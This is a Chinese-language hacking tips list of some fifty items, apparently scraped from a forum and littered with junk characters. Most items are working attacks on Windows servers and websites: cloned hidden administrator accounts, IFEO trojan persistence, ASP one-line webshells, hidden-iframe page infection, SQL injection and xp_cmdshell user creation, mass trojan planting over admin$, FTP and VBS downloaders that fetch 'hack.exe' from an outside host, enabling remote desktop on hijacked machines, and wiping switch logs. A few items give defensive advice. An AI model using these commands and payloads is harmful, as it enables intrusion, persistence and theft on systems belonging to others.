Xp系统修改权限防止病毒或木马等破坏系统,cmd下,
" F' f) u, p; W3 |4 Q5 Ncacls C:\windows\system32 /G hqw20:R
2 C# Z! I) K# g* ^, r思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入# w8 B' n8 J0 X" }; Y
恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F
; a2 u$ @' q U$ E
) L, P5 l, J9 P8 b- X7 h- \. n2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。& n, W- x! U, o
! }) M8 q. j1 c2 ] P7 v' C$ h
3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。
; x3 j3 w! O, X' I& I9 U# d6 o$ U9 p7 {6 G8 n0 N
4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号/ Q% _, K$ y1 `, u5 ?8 U
& f7 I y# H3 P) i
5、利用INF文件来修改注册表( h! U/ M' k, _8 z- `% J7 E- z- I
[Version]
2 |1 A! ]) d0 A* X' h& }Signature="$CHICAGO$" b' A P3 E! p1 L# b
[Defaultinstall]2 ^- p- d2 Y$ h1 W" E, N
addREG=Ating* G. {; b3 b# |+ D3 t
[Ating]) `" M" Y/ H) J8 R
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"
. C" ?' D0 T+ P2 N: q以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:
a% m+ H; {2 g: J3 x# f# s' [; S/ Trundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径
# F% }* r; X1 t5 G其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU6 V: [* M$ ~4 i: Q
HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU* j' G4 `: y7 x' V; O
HKEY_CURRENT_CONFIG 简写为 HKCC7 P- J. |9 L5 B6 [2 U. p! X
0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值
4 \& J7 {! N5 G7 ]4 [$ M, t- {. _$ J"1"这里代表是写入或删除注册表键值中的具体数据# `8 W- y7 S+ ^ k" @% @1 e
) g% U# D0 i& w& e3 X- P
6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,
! b4 @* l# i" b/ H% E8 x多了一步就是在防火墙里添加个端口,然后导出其键值8 t8 U1 c" r' D2 \/ F
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]- N/ h& p, x- S9 x3 [2 J
* o, n6 S9 L9 @6 A5 C7 i4 ~8 x% g8 G
7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽1 M- z3 {& N- ~0 ^0 e5 j7 g; P
在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。
1 A: v( }8 Y% J
3 U! Z8 Z' a5 P- x8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。
) o' e8 b; v9 ~, ^
) j% v( w! c6 {; \8 T; i. u" v9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell, K! [( ?" y( T4 c8 N6 ]" J; }
可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。
. D( E d" A' \7 a7 I% }7 |# R: |- X7 Z6 o
10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”
r6 {) l; p' t) Z$ f
1 r$ C" t. R4 s5 j I' Z% {11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,
% ]3 p& q' W, I9 a" R用法:xsniff –pass –hide –log pass.txt
$ Z& c1 A9 ~* S, P$ L. d2 r$ Y
, e4 ]5 k% C1 }; T/ K12、google搜索的艺术* f+ ]/ B. P1 f% C% O
搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”# v- M9 a W0 y4 c5 P
或“字符串的语法错误”可以找到很多sql注入漏洞。
) L3 J" d( l. ~+ t7 P' I6 Q
+ T0 i7 N) H6 |13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。' T! L; P- B, y6 E, R
9 S2 u6 b1 v# O! \
14、cmd中输入 nc –vv –l –p 19878 G: _* V; s8 p
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃8 \1 {/ s& m" b0 d$ ~- M& d
+ e, z( d* i3 w& `15、制作T++木马,先写个ating.hta文件,内容为
. ?; f' @4 Z. K% b<script language="VBScript">/ X+ l* l' x/ Q- o' k5 J
set wshshell=createobject ("wscript.shell" )
! G! e# F/ v$ ?9 \a=wshshell.run("你马的名称",1)
- c$ D* r! [' S$ {window.close
7 d, n1 i3 u: f+ w8 k8 s, M</script>$ w! a/ Z0 |& m$ @, ?6 ?& s
再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。
. t: G- v* K2 A- c+ f
1 s) f3 r# A& [" e16、搜索栏里输入
: R2 C' w3 [# F; J% V& J关键字%'and 1=1 and '%'='. ^( b9 E; @5 x( W
关键字%'and 1=2 and '%'='
+ n$ @) L3 j; e+ J0 s比较不同处 可以作为注入的特征字符
$ R: l1 `+ h6 Y& f" u. G+ [6 Z1 A* S! n( d* k- S0 s8 `# E
17、挂马代码<html>
8 k& b3 E. | s& `' C& `<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>
2 X4 m4 d" W) K* e2 ^# ]9 i4 T</html>
/ d" Y$ T" L$ W. H- i4 S" T1 V6 c2 y
18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,
+ F4 W) p {4 }% t% @' o9 |net localgroup administrators还是可以看出Guest是管理员来。$ m' D+ l" A- K. c+ |% u8 C7 Q8 b
. ^2 R8 B3 I; Y8 h! f2 r* j) w
19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等# k( ]9 n# S) a! `7 P* ^
用法: 安装: instsrv.exe 服务名称 路径7 [$ d$ {. W, s/ N4 t
卸载: instsrv.exe 服务名称 REMOVE! t. r! l; L! _ C4 }8 H% R
) v/ {/ H! {6 M9 o: E5 l$ s. R4 x- n3 S! R
21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉
- `; k, d: Y% b3 ^# s" q* ^' P不能注入时要第一时间想到%5c暴库。
3 K- ?' L2 d3 `) m1 C; s5 m$ t
+ N7 _& o3 q3 v7 \22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~1 }% f/ W& ?' V: Y' Y
! \3 L/ E: q0 k* D. ~3 s23、缺少xp_cmdshell时7 S+ }% q( j$ ~+ W2 v: q! B
尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
/ c& K) b% o) [$ ^假如恢复不成功,可以尝试直接加用户(针对开3389的)5 |4 s: d9 }0 r" T
declare @o int S; X6 W- Z7 A# y
exec sp_oacreate 'wscript.shell',@o out: ], o3 B6 i' G9 m# o
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员
4 N5 Z2 k" `& r/ X+ C
) L n' Q5 ?8 u0 ^7 v& l; V24.批量种植木马.bat
8 e1 B7 g1 Z0 c& @) Z# S) j' Gfor /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中# ?4 X0 a7 r% k9 E8 Y
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间7 Q: P3 ]5 Z/ E C& x1 I' u
扫描地址.txt里每个主机名一行 用\\开头
. J6 W" H; i% j/ V# m6 ?* `, E. F% h2 c8 g8 T6 N' c: z G
25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。2 w* d. t' p5 U4 i4 |5 q
" T) X3 C, d6 }: _26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.- N+ e) [2 a8 V+ D3 P
将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.
m p# e1 G+ M+ L$ ~( a3 M.cer 等后缀的文件夹下都可以运行任何后缀的asp木马
x3 x0 @$ k, A; r2 o6 _3 Q5 ^+ {4 c @' `
27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP8 q+ r; ?: w# Y6 K0 S% J: e$ Z8 N
然后用#clear logg和#clear line vty *删除日志; N- A& u2 P3 F3 K' X( G
9 p: B( M* f7 ?; t% G1 F; ^# J28、电脑坏了省去重新安装系统的方法
* q8 [- r2 E$ ^- _- ^1 A" r; H* M纯dos下执行,, g7 g# K" ~( A% N7 I
xp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config
% G' D9 N5 Y$ d! e* I% |7 W. z2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config' v# L% i8 c9 k3 M. L2 Z
! q v, h# Y" U" _% {& U/ r% m3 B29、解决TCP/IP筛选 在注册表里有三处,分别是:
. i/ t3 k: v& MHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip0 S* U4 i! p+ B' p
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip% Q1 ^7 a$ P. \, u& Y# f+ N
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
- s5 Y- H* Y$ j$ F分别用* {/ q! ?2 L' j* K: {8 d0 m q7 T
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
6 o% z8 ?9 ?& P8 {regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip1 l% r& w/ T1 E$ @
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
; E8 P j0 f' Z0 U% ?9 G' [命令来导出注册表项
0 w0 I S# p: w) y5 Q, s# e然后把三个文件里的EnableSecurityFilters"=dword:00000001,' r2 F) h; w- c; d6 N
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用0 w, C6 g$ _% F. s2 a( P) |+ y
regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。
% l9 Z9 E5 r' U0 @, L# _2 X( F. P; d2 b, O3 N
30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U
) y; t; b4 ~ t; k' G: w9 V& lSER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3
$ D# ]3 l, X2 P0 l; E7 c; f( E3 U- V5 i( d2 C+ l
31、全手工打造开3389工具
V: A" n( ^" z( u打开记事本,编辑内容如下:( R0 q3 W+ z1 W) q: k
echo [Components] > c:\sql
7 l1 r* t( W, ^. G' `$ K2 _echo TSEnable = on >> c:\sql
6 b& v1 E! r- N7 d S# l% w# Dsysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
8 {0 ^4 i+ s2 n/ W; h6 @编辑好后存为BAT文件,上传至肉鸡,执行0 G: N9 N$ Z0 ^( @
. {5 [) q2 K) J3 j32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马0 w6 [6 Q; i: E) z4 v" e
0 Q/ O2 h7 Y! G9 p. {9 \0 o
33、让服务器重启
: N3 N8 ?' f$ U+ D- |写个bat死循环:* k* n2 |$ P/ `$ R
@echo off( ~* D+ E y+ ?6 I/ |
:loop1. ]5 e! `$ x& H- N) `+ D
cls! M% c+ M! ^/ j
start cmd.exe1 b7 p, `6 e: G9 s0 f
goto loop1/ X# h* Y7 F8 h' j6 f$ ^
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启 y. z' J; a1 n) q- k2 {( t$ f
7 c5 \7 S( |& W
34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,9 T* j( R! m, Q
@echo off A/ d& m a. l7 Q+ n( m: i p7 ?
date /t >c:/3389.txt; q! l9 z: }9 c0 J$ _" r# Z5 O
time /t >>c:/3389.txt; T L* }4 R8 e- `" F5 b" y
attrib +s +h c:/3389.bat
% T: ]+ @) X! Q Oattrib +s +h c:/3389.txt
5 A" ^; G. Q( I+ u1 o% xnetstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
/ d+ w$ |( T: ~, M7 {并保存为3389.bat4 O/ y/ v# D! o
打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号9 P1 V0 r" ?9 @; e
8 c' z4 [) w; J6 V8 U$ P4 U1 I% `35、有时候提不了权限的话,试试这个命令,在命令行里输入:
& J6 z- ?$ L gstart http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)
! n7 z2 p! s' H1 h2 H0 q0 t输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。
" T% n b+ M; F% X, g4 q
8 C; F$ `; K- L" n" y36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件' b$ E% Y% x/ J: b
echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址
( |. I: y2 w- m2 w% r- Zecho 你的FTP账号 >>c:\1.bat //输入账号. ~# ?, a2 O5 ~5 s; v( J9 U9 z4 _
echo 你的FTP密码 >>c:\1.bat //输入密码
% T( e \8 _5 ]& Uecho bin >>c:\1.bat //登入
5 a7 @) Q( S6 W7 R/ ]9 B) ^echo get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么
5 ^9 @, E- p: }! c' [echo bye >>c:\1.bat //退出
- A0 y+ a& A9 I" i9 s. o) }3 Z然后执行ftp -s:c:\1.bat即可
) V2 I5 `: j8 [5 A$ A5 E# \6 ?( [- L+ t {4 j
37、修改注册表开3389两法
7 _/ S5 y! b, r! ]+ v! h1 }4 c(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表
$ M7 i# |# a' M: \4 n( ~0 e% W+ eecho Windows Registry Editor Version 5.00 >>3389.reg0 Y* a7 v2 W, r2 m1 L( p6 r
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg& H3 A4 V+ E& v8 I9 u2 c3 F& V
echo "Enabled"="0" >>3389.reg
w: [! i% u# C6 }& qecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows# }/ b {$ H$ s7 F5 s. S* k m
NT\CurrentVersion\Winlogon] >>3389.reg
) x& c2 R9 b% q$ ]) c# z' Gecho "ShutdownWithoutLogon"="0" >>3389.reg
[& }' L. E0 v( m1 X! f% | secho [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
% O- l5 M" l: b& J. b$ Y, c N>>3389.reg
b( v2 J( `0 `0 ?- ~3 \echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
# N1 f4 Z1 U* l3 cecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]& x0 Z2 u0 Y ]+ N2 I* D. u$ m" u+ S
>>3389.reg; m: i( W: C# L
echo "TSEnabled"=dword:00000001 >>3389.reg
) V/ \9 `& Y" k8 c1 t' }; s4 j# xecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg0 J/ }1 W, w6 O- X, a
echo "Start"=dword:00000002 >>3389.reg' d+ f1 Q" Y/ Q! J
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService], e8 K" N5 h$ N, |1 z+ B- C5 D. j
>>3389.reg
% @0 m1 c: f$ E5 a2 l3 iecho "Start"=dword:00000002 >>3389.reg G4 C8 j$ i% ~+ s
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
: L8 n, [7 X; U7 f$ Recho "Hotkey"="1" >>3389.reg
8 O5 ~6 T' B$ i# x+ Hecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
9 p U3 J, ?) Q/ ?3 K9 J4 j* hServer\Wds\rdpwd\Tds\tcp] >>3389.reg9 Z* r* s/ D9 S+ q
echo "PortNumber"=dword:00000D3D >>3389.reg
0 \2 J) }! }6 E: k! P, d. ?echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
8 e+ u2 Z1 T, s0 xServer\WinStations\RDP-Tcp] >>3389.reg
; K" o( C! U( M# D/ S- {& } yecho "PortNumber"=dword:00000D3D >>3389.reg$ v! F6 \1 q) `* n u
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。- e1 v: B4 E8 s x+ g: @3 ]
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)( \+ w3 X9 D5 {6 q: G' x9 h/ g j
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效* Y P H" O o1 ~/ I
(2)winxp和win2003终端开启
, X" _) W. Z5 Y' O( w用以下ECHO代码写一个REG文件: _1 W% h$ {8 ~' {& k3 R
echo Windows Registry Editor Version 5.00>>3389.reg
; e! t! ]- d" _echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
" {) c# L, L9 f9 V* H" xServer]>>3389.reg
2 p1 Z, N3 }) ~0 ?! [# E' Jecho "fDenyTSConnections"=dword:00000000>>3389.reg- h# ]7 }7 E1 U+ V3 N4 q9 j
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
$ W* a% m; ~; i; r4 FServer\Wds\rdpwd\Tds\tcp]>>3389.reg5 o$ z! h: Q6 D, e6 b5 E1 d
echo "PortNumber"=dword:00000d3d>>3389.reg
) b. s* t/ h# ?. }echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal; B, T5 H7 M6 H7 M( a$ u; H U
Server\WinStations\RDP-Tcp]>>3389.reg
% W# P" W" `* X: Uecho "PortNumber"=dword:00000d3d>>3389.reg
" s3 ]- K: C* Y' U6 a$ f3 L然后regedit /s 3389.reg del 3389.reg0 W; q3 b8 i1 Z
XP下不论开终端还是改终端端口都不需重启; |/ V1 ^9 F4 I
- E8 c6 ?6 O( K: i3 m* K/ o
38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃
( I8 `; L: |1 H! _4 n" Y! b! G! H用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'0 R/ s: a, @; c% P
5 x" R+ o2 s! Y2 D39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!% L# Y1 T8 j. j+ L7 F( {4 N P
(1)数据库文件名应复杂并要有特殊字符. |5 w- F% @$ i3 N+ f, ^; i
(2)不要把数据库名称写在conn.asp里,要用ODBC数据源9 L$ ]; f0 n, F9 H
将conn.asp文档中的7 `: ^/ `5 F2 r5 l+ {) R: f+ J
DBPath = Server.MapPath("数据库.mdb")/ G1 s* @5 ^0 s+ M
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
% k8 {" L+ `" y6 V, {) \
/ b* |$ C. D% q! S: l/ i: Q S6 P& e& V修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置
& @1 N) S0 b3 ^; T& ?# w(3)不放在WEB目录里
, S5 V# E4 o& j# U: u: |1 E" a7 N) I2 D e
40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉
' A" `, F3 S4 o) A9 c9 S可以写两个bat文件
8 V# ]" c8 M3 z$ A. f# |@echo off* e* h; K6 a# X$ L6 ]
@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe
+ k" B/ @$ o; m@del c:\winnt\system32\query.exe
" n! b2 G* J5 o, u: D9 a' a' ^) P" P@del %SYSTEMROOT%\system32\dllcache\query.exe
" l9 k& K1 v: q9 Q2 V2 p+ I@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的
% }; R3 _& `" X" Z. N) W% M) g) x" n
@echo off
5 Q0 F2 A: f$ {; s@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
. ?. `- g, g: K) V! d@del c:\winnt\system32\tsadmin.exe
, o6 e7 E! m2 t3 {. @4 E@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex
( f) [/ A# A4 E/ q, R( t8 S6 ?; Z9 O0 I
41、映射对方盘符
9 [5 k8 m1 z$ H, R. btelnet到他的机器上,
' }" z6 B6 `$ @5 f8 H% _4 Xnet share 查看有没有默认共享 如果没有,那么就接着运行+ S# O: `1 z8 Y4 K3 R+ J
net share c$=c:
- `& m$ `. C) _net share现在有c$, `" h( t& a- L8 H) E0 V
在自己的机器上运行( W* _( O& Z9 z/ g- E }* t
net use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K
! m3 l& n4 ^/ O7 m
% E |+ I8 E% Q42、一些很有用的老知识8 d7 o* B$ j9 f1 R5 X) g" ~! s, f
type c:\boot.ini ( 查看系统版本 )
8 U/ f/ [$ q& n7 p2 jnet start (查看已经启动的服务)' h: `% s5 j: F$ A$ }6 _6 @% A* ~
query user ( 查看当前终端连接 )
! W( y; b9 e( `- Z5 K1 vnet user ( 查看当前用户 )
' w9 M. j5 e, m: ]2 ^6 m+ inet user 用户 密码/add ( 建立账号 )
6 d; _: D5 m0 @0 {6 s) Bnet localgroup administrators 用户 /add (提升某用户为管理员); ]% Q3 ^. x. |- Z& p
ipconfig -all ( 查看IP什么的 ): ~$ U( }" ?: b6 u' Z
netstat -an ( 查看当前网络状态 )
' S1 v! h6 |% ]4 S% [7 rfindpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)
2 c1 z8 A7 E7 W, j( X# f克隆时Administrator对应1F4
' t \5 M3 {+ c% z% eguest对应1F57 m* g8 V% `5 A0 @: K
tsinternetuser对应3E8) ^' L3 Z3 Q+ A
. v/ }3 M" V5 a7 p43、如果对方没开3389,但是装了Remote Administrator Service: c! m; N8 D$ h$ h
用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接
4 r. s9 c9 g4 D* U- e. A1 F解释:用serv-u漏洞导入自己配制好的radmin的注册表信息4 N8 j6 l% T2 @! e
先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"
; U5 [$ Z7 _0 h# v- |8 N$ s+ x# R
: E; U5 C1 g: w0 q8 y( T, I7 U5 Y44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)6 D C% p8 Q% b7 m7 _
本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)) r: G* d1 C" M R, r: K
]7 c! C B! W, o* e
45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)% L. M$ k( W2 ?. M4 Y( q2 V5 o
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open
* a2 e* \, g" P7 l5 Q. a^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =$ F h6 |; S1 b2 U
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =# a) |9 F6 F7 N/ W
1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs2 @" ~# J' U' f. l. d
(这是完整的一句话,其中没有换行符)
; @6 h$ V9 |" v, ~( ]0 F然后下载:
+ }4 K. ~0 S5 Q: U0 Gcscript down.vbs http://www.hack520.org/hack.exe hack.exe% i( b, m$ A% D8 D- l0 r
, u5 R* `+ I+ O
46、一句话木马成功依赖于两个条件:+ `: I. k x( n5 T5 T3 F1 [" ^
1、服务端没有禁止adodb.Stream或FSO组件
- T( C, n4 ?) c% w: n0 t6 Q5 }* N2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。
' F& P. |7 D, ~" q4 Z0 T, i
) q5 ?8 |9 G# S7 ^47、利用DB_OWNER权限进行手工备份一句话木马的代码:
1 Y4 O6 g( t) A# d1 A; z;alter database utsz set RECOVERY FULL--& F6 V- Z7 e. ]9 O) ~- O
;create table cmd (a image)--2 i, b. j$ X3 a- S+ |" Z
;backup log utsz to disk = 'D:\cmd' with init--6 z4 |* M+ \ y# B1 |
;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--3 [9 [& u+ x- {
;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--- y1 N: a$ `* I1 O @
注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。( e6 c2 x) K- X Z5 z) n3 P& T' B
9 U1 ]; G# o7 O& q/ ]. a
48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:
8 X# h" I1 S2 ?/ C
, ~5 m6 f8 j, w用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
- H% J# S8 u# c' }所有会话用 'all'。' i5 I( s2 v( `" D3 _# G$ [9 T& F
-s sessionid 列出会话的信息。
/ L+ v# ?$ F" Q2 E-k sessionid 终止会话。+ y8 s0 [% ~+ Y! N. i
-m sessionid 发送消息到会话。% @9 v# o2 K; S
/ v% Z- j# L8 u0 j1 ~
config 配置 telnet 服务器参数。
& {2 G+ D! e& ]9 h! i
3 g& ^2 t6 q3 M- Mcommon_options 为:' u- `" M- P) n% D: {7 Q; i( L
-u user 指定要使用其凭据的用户5 z' M/ X" S& q% r" ^
-p password 用户密码
& Z R' [' x1 K4 d, A: D
. A2 I7 N# a$ d) U7 B2 Y! M& ?2 G; Dconfig_options 为:
6 e/ i" V9 n }& F6 Z% {3 t3 P, @dom = domain 设定用户的默认域
- e8 V* K- ?* K4 V: Vctrlakeymap = yes|no 设定 ALT 键的映射
4 R G8 r9 j4 @timeout = hh:mm:ss 设定空闲会话超时值/ C9 @6 ~" h4 e5 @) q7 b. l# x
timeoutactive = yes|no 启用空闲会话。) V( A M7 h8 c/ R
maxfail = attempts 设定断开前失败的登录企图数。& w/ ?8 ^' `4 H2 [
maxconn = connections 设定最大连接数。
6 B8 W5 {. U7 L% Kport = number 设定 telnet 端口。
2 @# q) |0 r( R" _" B5 Bsec = [+/-]NTLM [+/-]passwd2 ?2 |: a( o! T" I, r O0 O. V8 N
设定身份验证机构
0 u2 R8 \/ e7 ]1 p4 gfname = file 指定审计文件名。
}* }& l( ]& G+ f. K5 N5 u/ Tfsize = size 指定审计文件的最大尺寸(MB)。7 x6 r5 B, e/ ^- I1 w/ a* |' \ d
mode = console|stream 指定操作模式。
* M: p. G( V1 S9 j5 bauditlocation = eventlog|file|both( T6 M* n4 y) @3 a9 c% F# b
指定记录地点* e* n& J( M& }9 p V1 X
audit = [+/-]user [+/-]fail [+/-]admin' H& b8 W$ ?. N5 N
) H4 D2 ?7 `7 S! q% r49、例如:在IE上访问:# U# B. w& f: ?+ m( R* H& \* ?* a
www.hack520.org/hack.txt就会跳转到http://www.hack520.org/- h! t. f. m4 O
hack.txt里面的代码是:
. e' g% R+ Y8 ^5 b<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">. A, j; i* N. Q: |
把这个hack.txt发到你空间就可以了!
8 Q/ P# J6 b' h p/ X% j这个可以利用来做网马哦!
. K& ]% Z$ G1 C0 v3 W: y* i) n+ H. u- Z5 ^) b& a
50、autorun的病毒可以通过手动限制!
3 \% H2 n4 D, G v$ F3 o1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!# F, M9 `; }% s
2,打开盘符用右键打开!切忌双击盘符~
) c, s' s( q9 S1 _, j' c3 y3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!
- D# o% _% G, _& R/ M) l- A" F0 m$ m
51、log备份时的一句话木马:4 D( E7 Q% a; D) W
a).<%%25Execute(request("go"))%%25>
. H9 H" P9 b- H! L' _; v4 I3 nb).<%Execute(request("go"))%>: j2 F* G9 B; r+ O! Y
c).%><%execute request("go")%><%
6 _! [, i* A b _' X- ud).<script language=VBScript runat=server>execute request("sb")</Script>
6 z2 D9 z) ?# b1 E9 Z0 De).<%25Execute(request("l"))%25>
# U+ Q0 a1 K4 gf).<%if request("cmd")<>"" then execute request("pass")%>, i: K' [& V8 P/ Y# Q J
6 e! a1 B6 c7 T& H52、at "12:17" /interactive cmd) g7 F* P* x% ?$ ?3 Z
执行后可以用AT命令查看新加的任务
